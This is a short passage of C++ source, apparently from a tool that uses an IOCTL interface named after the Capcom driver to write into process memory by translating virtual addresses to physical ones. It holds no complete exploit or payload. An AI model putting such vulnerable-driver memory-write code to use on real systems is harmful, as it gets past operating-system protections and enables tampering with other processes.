g_pCapcomIoctl->Free(); 286 | 287 | return Data.Success; 288 | } 289 | 290 | bool Proc::Write(uint64_t address, PVOID buffer, size_t length) 291 | { 292 | uint64_t PhysicalAddress = TranslateVirtualAddress((PVOID)address); 293 | return WritePhysicalAddress(PhysicalAddress, buffer, length); 294 | } 295 | --------------------------------------------------------------------------------